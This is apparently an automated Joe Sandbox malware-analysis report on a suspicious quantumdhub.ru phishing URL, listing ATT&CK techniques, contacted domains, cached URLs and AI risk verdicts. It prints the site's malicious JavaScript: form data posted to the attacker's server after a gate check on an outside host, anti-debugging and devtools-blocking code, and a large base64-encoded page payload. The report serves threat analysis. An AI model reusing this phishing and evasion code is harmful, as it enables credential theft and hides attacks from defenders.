Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.19.228	www.google.com	United States	15169	GOOGLEUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.21.80.1	gadk.quantumdhub.ru	United States	13335	CLOUDFLARENETUS	true
151.101.130.137	unknown	United States	54113	FASTLYUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.21.73.56	unknown	United States	13335	CLOUDFLARENETUS	false
52.212.192.25	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
18.66.161.117	dh1y47vf5ttia.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
172.67.158.68	qyirfeifkmxfpzq40aunypu4fmz8ucnejoritjokcewctv5c9qybgue.lpliwptf.ru	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
52.210.126.164	unknown	United States	16509	AMAZON-02US	false
52.210.83.154	unknown	United States	16509	AMAZON-02US	false
63.140.62.17	msftenterprise.sc.omtrdc.net	United States	15224	OMNITUREUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579178
Start date and time:	2024-12-21 00:34:44 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://gADK.quantumdhub.ru/HX8hiLPadaz1N7WrltpPjHg34q_2C98ig/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal56.win@22/268@68/17

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Name	Malicious	Reputation
https://code.jquery.com/jquery-3.6.0.min.js	false	high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false	high
https://mscom.demdex.net/dest5.html?d_nsid=0	false	high
https://gadk.quantumdhub.ru/favicon.ico	false	unknown
https://qyirfeifkmxfpzq40aunypu4fmz8ucnejoritjokcewctv5c9qybgue.lpliwptf.ru/ZATfZymFloKYOUYHhMIPbYQbYmLCVGEUSJTYXKLELYVOVSTVWWBDRAXVWRBSWFMJQXZNOKQCTXW	false	unknown
https://static-assets.fs.liveperson.com/microsoft/lp_ada_enhancements-prod.js	false	high
https://a.nel.cloudflare.com/report/v4?s=4Zs16ks2siptKF0TTTImZcm1g8hmLIveGGK5ITF%2FStCvWAItQyCIHNRek7Du8k5yIEIQ8yqHdqLRiNw7ijlbbW6s48H58bHYSbVtsLqb8dlqa%2FQgnM7j7qPyOl4tAA%3D%3D	false	high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8f53738f5cfa15bb/1734737757657/266c2338cf1da0c0197c76b0ce5e22a9a128cea85378c77008f8b5687810be47/iRJ4oKYtIhGUez2	false	high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false	high
https://challenges.cloudflare.com/turnstile/v0/b/787bc399e22f/api.js	false	high
https://dpm.demdex.net/id?d_visid_ver=4.4.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&ts=1734737818811	false	high
https://msftenterprise.sc.omtrdc.net/id?d_visid_ver=4.4.0&d_fieldgroup=A&mcorgid=EA76ADE95776D2EC7F000101%40AdobeOrg&mid=65955960084563645340280706213568852788&ts=1734737820889	false	high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8f53738f5cfa15bb&lang=auto	false	high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/1gq28/0x4AAAAAAA01zeNo8XyUDmXH/auto/fbE/normal/auto/	false	high

Name	Source	Malicious	Reputation
https://github.com/mozilla/rhino/issues/346	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://login.microsoftonline.com/uxlogout?appid	chromecache_330.2.dr	false	high
https://tc39.es/ecma262/#sec-toobject	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://aka.ms/PBI_Comm_Overview	chromecache_272.2.dr, chromecache_187.2.dr	false	high
https://github.com/carhartl/jquery-cookie	chromecache_283.2.dr, chromecache_168.2.dr	false	high
https://tc39.es/ecma262/#sec-object.getownpropertydescriptor	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://github.com/zloirock/core-js	chromecache_282.2.dr, chromecache_191.2.dr, chromecache_305.2.dr, chromecache_192.2.dr	false	high
https://www.xbox.com/en-us/games/store/pc-game-pass/cfq7ttc0kgq8?icid=CNavAllPCGamePass	chromecache_272.2.dr, chromecache_187.2.dr	false	high
https://login.microsoftonline.com/savedusers?appid	chromecache_224.2.dr, chromecache_330.2.dr	false	high
https://tc39.es/ecma262/#sec-object.prototype.propertyisenumerable	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://tc39.es/ecma262/#sec-array.prototype.includes	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://checkout.office.com/acquire/purchase/	chromecache_166.2.dr	false	high
https://js.monitor.azure.com/scripts/c/ms.analytics-web-3.min.js	chromecache_166.2.dr	false	high
https://tc39.es/ecma262/#sec-object.setprototypeof	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://tc39.es/ecma262/#sec-hasownproperty	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://outlook.live.com/owa/?nlp=1	chromecache_180.2.dr, chromecache_240.2.dr	false	high
https://va.idp.liveperson.net	chromecache_166.2.dr	false	high
https://cdn.jsdelivr.net/npm/bluebird	chromecache_329.2.dr, chromecache_249.2.dr	false	high
https://github.com/scottjehl/picturefill/blob/master/Authors.txt;	chromecache_302.2.dr	false	high
http://www.javascripter.net/faq/browsern.htm	chromecache_178.2.dr	false	unknown
https://tc39.es/ecma262/#sec-tointegerorinfinity	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://dc.services.visualstudio.com	chromecache_311.2.dr, chromecache_314.2.dr	false	high
https://tc39.es/ecma262/#sec-requireobjectcoercible	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://github.com/w3c/aria-practices/pull/1757	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://axios-http.com	chromecache_197.2.dr, chromecache_308.2.dr	false	high
https://assets.adobedtm.com/5ef092d1efb5/d6d76b37b476/launch-41185cd0b005.js	chromecache_172.2.dr, chromecache_199.2.dr	false	high
https://www.microsoftstore.com.cn/	chromecache_166.2.dr	false	high
https://keycode.info/table-of-all-keycodes	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://tc39.es/ecma262/#sec-getmethod	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://va.msg.liveperson.net	chromecache_166.2.dr	false	high
https://www.skype.com/en/	chromecache_272.2.dr, chromecache_187.2.dr	false	high
https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/key/Key_Values	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://github.com/axios/axios/issues	chromecache_197.2.dr, chromecache_308.2.dr	false	high
https://elad.medium.com/css-position-sticky-how-it-really-works-54cd01dc2d46	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://lpcdn.lpsnmedia.net/le_unified_window/9.12.0.19-release_4769/resources/loader_on_warmGray5_7	chromecache_166.2.dr	false	high
https://jquery.com/	chromecache_321.2.dr, chromecache_296.2.dr	false	high
https://stores.office.com/subscription/acquire	chromecache_166.2.dr	false	unknown
https://tc39.es/ecma262/#sec-array.prototype.indexof	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://tc39.es/ecma262/#sec-tolength	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://signup.azure.com/	chromecache_166.2.dr	false	high
https://breeze.aimon.applicationinsights.io	chromecache_311.2.dr, chromecache_314.2.dr	false	high
https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot	chromecache_191.2.dr, chromecache_192.2.dr	false	high
http://schema.org/Organization	chromecache_272.2.dr, chromecache_187.2.dr	false	high
https://sizzlejs.com/	chromecache_321.2.dr, chromecache_296.2.dr	false	high
https://js.foundation/	chromecache_321.2.dr, chromecache_296.2.dr	false	high
https://msonecloudapifd-c7cndkdmc9c3d7e3.z01.azurefd.net	chromecache_162.2.dr, chromecache_260.2.dr	false	unknown
https://www.xbox.com/en-us/games/store/xbox-game-pass-ultimate/cfq7ttc0khs0?icid=CNavAllXboxGamePass	chromecache_272.2.dr, chromecache_187.2.dr	false	high
https://bugzil.la/548397	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://tc39.es/ecma262/#sec-lengthofarraylike	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://mcraa.fs.liveperson.com/messaging-agent-availability/api/account/60270350/getSkillAvailabili	chromecache_166.2.dr	false	high
https://signup-staging.azure.com/	chromecache_166.2.dr	false	unknown
https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot-aec	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://tc39.es/ecma262/#sec-iscallable	chromecache_191.2.dr, chromecache_192.2.dr	false	high
http://scottjehl.github.io/picturefill	chromecache_257.2.dr, chromecache_302.2.dr	false	unknown
https://signup-local.azure.com/	chromecache_166.2.dr	false	unknown
https://tc39.es/ecma262/#sec-object.defineproperty	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://microsoftit.pkgs.visualstudio.com/OneITVSO/_packaging/CSM-SITES-AEMFoundations/npm/registry/	chromecache_197.2.dr, chromecache_308.2.dr	false	high
https://tc39.es/ecma262/#sec-math.trunc	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://bugs.chromium.org/p/v8/issues/detail?id=12006	chromecache_191.2.dr, chromecache_192.2.dr	false	unknown
https://dc-int.services.visualstudio.com	chromecache_311.2.dr, chromecache_314.2.dr	false	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=277178	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://github.com/tc39/proposal-error-cause	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://bugzilla.mozilla.org/show_bug.cgi?id=308064	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://stores.office.com/	chromecache_166.2.dr	false	unknown
https://play.vidyard.com/embed/v4.js	chromecache_272.2.dr, chromecache_187.2.dr	false	high
https://aka.ms/28808	chromecache_166.2.dr	false	high
http://github.com/requirejs/almond/LICENSE	chromecache_319.2.dr, chromecache_275.2.dr	false	high
https://github.com/scottjehl/picturefill/tree/3.0/src/plugins/gecko-picture	chromecache_257.2.dr, chromecache_302.2.dr	false	high
https://github.com/microsoft/BotFramework-WebChat/issues/2119	chromecache_290.2.dr	false	high
https://login.microsoftonline.com/forgetuser	chromecache_224.2.dr, chromecache_330.2.dr	false	high
https://github.com/zloirock/core-js/blob/v3.30.1/LICENSE	chromecache_282.2.dr, chromecache_305.2.dr	false	high
http://www.apache.org/licenses/LICENSE-2.0	chromecache_309.2.dr, chromecache_251.2.dr	false	high
https://tc39.es/ecma262/#sec-toprimitive	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://github.com/nevware21/ts-async	chromecache_268.2.dr, chromecache_278.2.dr	false	high
https://scottjehl.github.io/picturefill/	chromecache_257.2.dr, chromecache_302.2.dr	false	unknown
https://github.com/axios/axios.git	chromecache_197.2.dr, chromecache_308.2.dr	false	high
http://www.javascriptkit.com/dhtmltutors/cssmediaqueries3.shtml	chromecache_178.2.dr	false	unknown
https://tc39.es/ecma262/#sec-topropertykey	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://dev.azure.com/mscomdev/Moray/_workitems/edit/4494	chromecache_192.2.dr	false	high
https://github.com/zloirock/core-js/blob/v3.25.0/LICENSE	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_187.2.dr	false	high
https://checkout.office.com/acquire/purchase	chromecache_166.2.dr	false	high
https://jquery.org/license	chromecache_321.2.dr, chromecache_296.2.dr	false	high
https://bugs.chromium.org/p/v8/issues/detail?id=3334	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://tc39.es/ecma262/#sec-object.getownpropertynames	chromecache_191.2.dr, chromecache_192.2.dr	false	high
https://javascript.info/size-and-scroll-window#width-height-of-the-document	chromecache_191.2.dr, chromecache_192.2.dr	false	high

Input	Output
URL: https://gADK.quantumdhub.ru Model: Joe Sandbox AI	{ "typosquatting": true, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": true }
URL: https://gADK.quantumdhub.ru
URL: https://gadk.quantumdhub.ru/HX8hiLPadaz1N7WrltpPjH... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The script collects user data and sends it to an unknown domain, and it also redirects the user to a Microsoft Power BI domain, which is likely not the intended functionality. These behaviors are highly suspicious and indicate a potentially malicious intent, warranting a high-risk score." }
turnstile.render('#cf', { sitekey: '0x4AAAAAAA01zeNo8XyUDmXH', 'error-callback': RUSHxsgIPr, callback: gWBAiSWZcb, }); function RUSHxsgIPr() { turnstile.reset(); } function gWBAiSWZcb() { var cFjeXpRSiT = document.getElementById("TDXeOviHCB"); cFjeXpRSiT.onsubmit = function (event) { event.preventDefault(); }; document.getElementById("pagelink").value = 'g34q'; var UKxVvpJooH = "../ajeHT1yuwXmPk6Vg77tTCMTfqT50rmtckLlsu"; fetch('https://qyIrFeifKmxfpzq40auNyPU4FMz8uCnEJORiTJOkceWcTV5C9QYBgue.lpliwptf.ru/ZATfZymFloKYOUYHhMIPbYQbYmLCVGEUSJTYXKLELYVOVSTVWWBDRAXVWRBSWFMJQXZNOKQCTXW', { method: "GET", }).then(response => { return response.text() }).then(text => { if(text == 0){ fetch(UKxVvpJooH, { method: "POST", body: new FormData(cFjeXpRSiT) }).then(response => { return response.json(); }).then(data => { if(data['status'] == 'success'){ if(zCWyYxHSMv == false){ location.reload(); } } if(data['status'] == 'error'){ window.location.replace('https://powerbi.microsoft.com'); } }); } if(text != 0){ window.location.replace('https://powerbi.microsoft.com'); } }) .catch(error => { window.location.replace('https://powerbi.microsoft.com'); }); }
URL: https://gadk.quantumdhub.ru/HX8hiLPadaz1N7WrltpPjH... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to an external website. The combination of these behaviors suggests a high likelihood of malicious intent, potentially to prevent analysis or hide unwanted activities." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); zCWyYxHSMv = false; (function mUSpZYKLXy() { let ESiYNjfsnW = false; const DexAGaTcBO = 100; setInterval(function() { const BspIFdZQcF = performance.now(); debugger; const wENpEMjbJf = performance.now(); if (wENpEMjbJf - BspIFdZQcF > DexAGaTcBO && !ESiYNjfsnW) { zCWyYxHSMv = true; ESiYNjfsnW = true; window.location.replace('https://powerbi.microsoft.com'); } }, 100); })();
URL: https://gadk.quantumdhub.ru/HX8hiLPadaz1N7WrltpPjH... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and URLs further increases the risk. While the script may have some legitimate functionality, the overall behavior is highly suspicious and indicative of malicious intent." }
/* The road to success and the road to failure are almost exactly the same. */ if(atob("aHR0cHM6Ly9zUy5xdWFudHVtZGh1Yi5ydS9IWDhoaUxQYWRhejFON1dybHRwUGpIZzM0cV8yQzk4aWcv") == "nomatch"){ document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiN4TlpOWFhqR0xLIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI3hOWk5YWGpHTEsgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI3hOWk5YWGpHTEsgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojeE5aTlhYakdMSyBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI3hOWk5YWGpHTEsuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTYzcHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbGVmdDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7bWFyZ2luLXJpZ2h0OiBhdXRvO21hcmdpbi1sZWZ0OiBhdXRvO30NCiN4TlpOWFhqR0xLIC50ZXh0LWNlbnRlciB7dGV4dC1hbGlnbjogY2VudGVyIWltcG9ydGFudDt9DQpAbWVkaWEgKG1pbi13aWR0aDo5OTJweCl7DQojeE5aTlhYakdMSyAuY29sLWxnLTR7ZmxleDowIDAgYXV0bzt3aWR0aDozMy4zMzMzMzMzMyU7fQ0KfQ0KI3hOWk5YWGpHTEsgLmRpc3BsYXktNCB7Zm9udC1zaXplOiAxLjI1cmVtIWltcG9ydGFudDt9DQojeE5aTlhYakdMSyAubXQtMiB7bWFyZ2luLXRvcDogMC41cmVtIWltcG9ydGFudDt9DQojeE5aTlhYakdMSyAuaDQge2ZvbnQtc2l6ZTogY2FsYyguOTAwcmVtICsgLjN2dyk7fQ0KI3hOWk5YWGpHTEsgLmp1c3RpZnktY29udGVudC1jZW50ZXJ7anVzdGlmeS1jb250ZW50OmNlbnRlciFpbXBvcnRhbnQ7fQ0KI3hOWk5YWGpHTEsubXQtNXttYXJnaW4tdG9wOjNyZW0haW1wb3J0YW50O30NCiN4TlpOWFhqR0xLIC5tdC00IHttYXJnaW4tdG9wOiAxcmVtIWltcG9ydGFudDt9DQojeE5aTlhYakdMSyAjaGhnWnVvTXJ1YyB7Y29sb3I6ICM2Yzc1N2Q7Zm9udC1zaXplOjE0cHg7bWFyZ2luLXRvcDogLjVyZW07fQ0KICAgIDwvc3R5bGU+DQogICAgPHNjcmlwdD4NCiAgICBpZiAobmF2aWdhdG9yLndlYmRyaXZlciB8fCB3aW5kb3cuY2FsbFBoYW50b20gfHwgd2luZG93Ll9waGFudG9tIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5jbHVkZXMoIkJ1cnAiKSkgew0KICAgICAgICB3aW5kb3cubG9jYXRpb24gPSAiYWJvdXQ6YmxhbmsiOw0KfQ0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgaWYgKGV2ZW50LmtleUNvZGUgPT09IDEyMykgew0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NCkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzUpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDcyKSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5hbHRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA2NykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gODUpDQogICAgKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQp9KTsNCmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvbnRleHRtZW51JywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgIHJldHVybiBmYWxzZTsNCn0pOw0KekNXeVl4SFNNdiA9IGZhbHNlOw0KKGZ1bmN0aW9uIG1VU3BaWUtMWHkoKSB7DQogICAgbGV0IEVTaVlOamZzblcgPSBmYWxzZTsNCiAgICBjb25zdCBEZXhBR2FUY0JPID0gMTAwOw
URL: https://gadk.quantumdhub.ru/HX8hiLPadaz1N7WrltpPjHg34q_2C98ig/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://gadk.quantumdhub.ru/HX8hiLPadaz1N7WrltpPjHg34q_2C98ig/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://gadk.quantumdhub.ru/HX8hiLPadaz1N7WrltpPjHg34q_2C98ig/ Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://gadk.quantumdhub.ru/HX8hiLPadaz1N7WrltpPjHg34q_2C98ig/ Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Begin your Power BI free trial within Microsoft Fabric and experience the next generation of data analytics.", "prominent_button_name": "Try for free", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
